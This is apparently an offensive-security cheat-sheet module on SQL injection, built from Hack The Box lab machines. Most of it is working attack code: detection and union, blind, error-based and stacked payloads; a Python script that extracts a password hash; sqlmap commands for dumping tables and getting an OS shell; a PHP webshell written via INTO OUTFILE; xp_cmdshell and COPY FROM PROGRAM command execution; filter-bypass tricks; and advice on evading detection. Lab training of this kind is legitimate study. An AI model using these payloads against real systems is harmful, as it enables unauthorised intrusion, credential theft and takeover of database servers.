Back to All Modules

SQL Injection (SQLi)

#Overview

SQL Injection is a vulnerability that occurs when user-supplied input is incorporated into SQL queries without proper sanitization or parameterization. Attackers can manipulate query logic to bypass authentication, extract data, modify database contents, and in some cases execute operating system commands. SQL injection remains one of the most impactful web vulnerabilities, affecting all major database systems (MySQL, PostgreSQL, MSSQL, Oracle, SQLite). The technique can be in-band (results returned directly), blind (inferred from behavior), or out-of-band (exfiltrated via external channels).

#Prerequisites

  • Identified application endpoint that likely interacts with a database (login, search, parameter filtering, API endpoints)
  • sqlmap or manual SQL injection knowledge
  • Burp Suite or proxy for request interception and analysis
  • Knowledge of the backend DBMS for DB-specific exploitation

#Detection & Enumeration

#Manual Detection Payloads

# Boolean-based detection
' OR '1'='1
' OR '1'='1' -- -
' OR 1=1;-- -
" OR "1"="1
admin' --
admin' #

# Time-based detection (MySQL)
' AND SLEEP(5)--
' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--

# Time-based detection (PostgreSQL)
' OR (SELECT 'x' FROM pg_sleep(5))--
' AND 1=(SELECT 1 FROM PG_SLEEP(5))--

# Time-based detection (MSSQL)
' WAITFOR DELAY '0:0:5'--
' IF (1=1) WAITFOR DELAY '0:0:5'--

# Error-based probes
' AND extractvalue(1,concat(0x7e,database()))--  # MySQL
' AND 1=CONVERT(int,@@version)--                  # MSSQL
' AND 1=CAST((SELECT version()) AS int)--         # PostgreSQL

# Union-based column enumeration
' ORDER BY 1--   # Increment until error to find column count
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL,NULL--
BASH

#Identifying the Vulnerability (Usage HTB Technique)

# Password reset form that queries email -- boolean-based blind SQLi
# Submit: test' or 1=1;-- -
# Valid response = SQLi confirmed

# The single quote terminates the string, OR 1=1 makes the query always true,
# and ;-- - comments out the rest of the query
BASH
# Save the request as a file for sqlmap
# POST /forget-password HTTP/1.1
# Host: usage.htb
# ...
# email=test
sqlmap -r reset.req -p email --batch

# If initial detection fails, increase level
sqlmap -r reset.req -p email --batch --level 3
# --level 3: Tests a wider range of injection points

# For second-order SQLi (Intentions HTB)
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch
BASH

#Exploitation / Execution

#Union-Based SQL Injection

# Step 1: Find number of columns
' UNION SELECT NULL--        # Error
' UNION SELECT NULL,NULL--   # Error
' UNION SELECT NULL,NULL,NULL-- # Success = 3 columns (Usage HTB got 5)

# Step 2: Find which columns return string data
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--  # This one returns 'a' = column 2 accepts strings

# Step 3: Extract database information
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,database(),NULL--
' UNION SELECT NULL,user(),NULL--

# Step 4: Enumerate tables
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--

# Step 5: Enumerate columns
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

# Step 6: Extract data
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--
BASH

#Blind Boolean-Based Extraction

# Character-by-character extraction using substring
# Confirm first character of password hash
http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6
# AND substr((select password from staff limit 0,1),1,1) = 'd'-- -

# Python script for automated blind boolean extraction (Help HTB technique)
BASH
#!/usr/bin/python
from requests import get
import string

cookies = {'PHPSESSID': '<session_id>', 'usrhash': '<hash>'}
url = 'http://10.10.10.121/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6'

chars = list(string.ascii_lowercase) + list(string.digits)
password = []
k = 1
while k <= 40:
    for i in chars:
        payload = url + " and substr((select password from staff limit 0,1),{},1) = '{}'---".format(k, i)
        resp = get(payload, cookies=cookies)
        if '404' not in resp.content:
            password.append(i)
            print('Password: ' + ''.join(password))
            k = k + 1
            break
PYTHON

#Blind Time-Based Extraction

# MySQL time-based
' AND (SELECT IF(SUBSTRING(password,1,1)='a',SLEEP(5),0) FROM users WHERE username='admin')--

# PostgreSQL time-based
' AND (SELECT CASE WHEN SUBSTRING(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='admin')--

# MSSQL time-based
' IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') WAITFOR DELAY '0:0:5'--

# Heavy query time-based (no SLEEP needed)
' AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- # MySQL heavy query
BASH

#Error-Based Extraction

# MySQL extractvalue
' AND extractvalue(1,concat(0x7e,(SELECT database())))--
' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 1)))--

# MySQL updatexml
' AND updatexml(1,concat(0x7e,(SELECT user())),1)--

# MSSQL CONVERT/CAST errors
' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CONVERT(int,(SELECT DB_NAME()))--

# PostgreSQL CAST errors
' AND 1=CAST((SELECT current_database()) AS int)--
BASH

#Stacked Queries

# Stacked queries enable multiple statements in one injection (DB-dependent)
# MySQL: stacked queries disabled by default in PHP/MySQLi
# PostgreSQL: stacked queries usually enabled
# MSSQL: stacked queries enabled by default

# MSSQL stacked + xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'--

# PostgreSQL stacked + COPY FROM PROGRAM
'; COPY (SELECT '') TO PROGRAM 'id'--
'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami'; SELECT * FROM cmd_exec--
BASH

#sqlmap Usage

# Basic database enumeration
sqlmap -r request.txt --batch --dbs                    # List databases
sqlmap -r request.txt --batch -D <db> --tables         # List tables
sqlmap -r request.txt --batch -D <db> -T <table> --dump # Dump table
sqlmap -r request.txt --batch -D <db> -T <table> --columns # List columns

# Extracting specific data
sqlmap -r request.txt --batch -D <db> -T users -C username,password --dump

# OS shell (MSSQL via xp_cmdshell, MySQL via UDF)
sqlmap -r request.txt --os-shell

# Advanced flags
sqlmap -r request.txt --level 5 --risk 3       # Aggressive testing
sqlmap -r request.txt --dbms=mysql             # Force DBMS type
sqlmap -r request.txt --threads=10             # Speed up with threads
sqlmap -r request.txt --tamper=space2comment   # Use tamper scripts
sqlmap -r request.txt --random-agent           # Randomize User-Agent

# Tamper script categories
# space2comment: Replace spaces with /**/ comments (Intentions HTB)
# between:       Replace > with NOT BETWEEN 0 AND
# charunicodeencode: Unicode-encode characters
# charencode:    URL-encode characters
# randomcase:    Randomize case of keywords

# Common tamper scripts for WAF bypass
sqlmap -r request.txt --tamper=space2comment,randomcase,charencode --batch

# Second-order SQLi (Intentions HTB)
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --tamper=space2comment
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --tamper=space2comment --tables
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --tamper=space2comment -T users --dump
BASH

#MySQL-Specific: LOAD_FILE and INTO OUTFILE

# Read local files
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--

# Write webshell via INTO OUTFILE
' UNION SELECT '<?php system($_GET["c"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/shell.php'--

# Check secure_file_priv (restricts LOAD_FILE/OUTFILE paths)
' UNION SELECT @@secure_file_priv,NULL,NULL--

# MySQL UDF (User-Defined Function) for command execution
# Requires plugin directory writable
' UNION SELECT 0x<compiled_udf_hex>,NULL,NULL INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'--
BASH

#PostgreSQL-Specific

# COPY for file read/write
'; COPY (SELECT '') TO PROGRAM 'id'--
'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'; SELECT * FROM test--

# lo_import / lo_export (large object functions)
'; SELECT lo_import('/etc/passwd', 12345); SELECT lo_get(12345)--
BASH

#MSSQL-Specific

# Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# Execute commands
EXEC xp_cmdshell 'whoami';

# OPENROWSET (file read)
SELECT * FROM OPENROWSET(BULK 'C:\windows\win.ini', SINGLE_BLOB) AS x;

# Linked servers (lateral movement)
SELECT * FROM OPENQUERY(linked_server, 'SELECT * FROM master.sys.databases');

# Impersonate users
EXECUTE AS LOGIN = 'sa';
BASH

#SQLite-Specific

# SQLite limitations: no multi-statement support, no network functions
# No command execution via SQLite itself
# Enumeration approach:
' UNION SELECT sql,NULL FROM sqlite_master--                           # Schema dump
' UNION SELECT group_concat(name),NULL FROM sqlite_master WHERE type='table'-- # Tables
' UNION SELECT sql,NULL FROM sqlite_master WHERE name='users'--        # Table DDL
BASH

#Filter Bypass Techniques

# Case variation
SeLeCt * FrOm users
UNiOn SeLeCt 1,2,3

# URL encoding
%27 = ' (single quote)
%20 = space
%23 = #

# Hex encoding
0x61646d696e = "admin"
SELECT 0x61646d696e

# Double URL encoding
%2527 = %27 encoded again

# Comment-based space replacement
SELECT/**/password/**/FROM/**/users

# Whitespace alternatives
SELECT+password%0aFROM%0dusers    # +, %0a (LF), %0d (CR)
SELECT(password)FROM(users)        # Parentheses
SELECT`password`FROM`users`        # Backticks (MySQL)

# Keyword splitting
SEL/**/ECT UN/**/ION SEL/**/ECT

# Logical operator alternatives
AND = &&
OR = ||
1=1 = 1 LIKE 1

# Quotes bypass (MySQL)
SELECT * FROM users WHERE username=0x61646d696e    # Hex
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110) # CHAR()

# Comment variations
#
-- -
--+
#
/*comment*/
;%00
BASH

#Common Pitfalls

  • ORDER BY returns mixed results -- column count may vary with query structure, try multiple times
  • UNION SELECT fails silently -- ensure all column types are compatible (NULLs for non-string columns)
  • Second-order SQLi not detected -- spaces being stripped requires tamper scripts (Intentions HTB: space2comment)
  • SLEEP() timing inconsistent -- use heavy query time-based for MySQL if SLEEP is filtered
  • OUTFILE fails -- check secure_file_priv, directory permissions, and use absolute paths
  • Stacked queries fail on MySQL/PHP -- PHP's mysql_query() does not support multiple statements

#OPSEC Considerations

  • sqlmap generates high volumes of HTTP requests -- easily detectable in server logs
  • UNION SELECT queries with CONCAT produce distinctive long alphanumeric strings in access logs
  • Time-based injection causes visible latency anomalies
  • INTO OUTFILE webshell writes leave forensic artifacts in the filesystem
  • xp_cmdshell enablement is heavily logged in MSSQL
  • Use --delay and --random-agent in sqlmap to reduce detection risk

#Post-Exploitation Value

  • Database credential extraction for lateral movement (SSH, application logins)
  • Administrative access to web application via dumped credentials
  • OS command execution via xp_cmdshell (MSSQL), UDF (MySQL), COPY FROM PROGRAM (PostgreSQL)
  • File system read access via LOAD_FILE (MySQL), OPENROWSET (MSSQL), COPY (PostgreSQL)
  • Data exfiltration and modification of application data

#Cross-References

#Tool References

ToolLink
sqlmaphttps://sqlmap.org
Ghaurihttps://github.com/r0oth3x49/ghauri
PayloadsAllTheThings SQLihttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

#Source Machines

  • Usage (Easy, Linux) -- Boolean-based blind SQLi in password reset email field, mysql dump of admin_users with bcrypt hash
  • Help (Easy, Linux) -- Boolean blind SQLi in ticket attachment parameter, substring-based hash extraction scripted in Python
  • Intentions (Hard, Linux) -- Second-order SQLi in genre update/fetch feed API, json tamper with space2comment, union-based 5 columns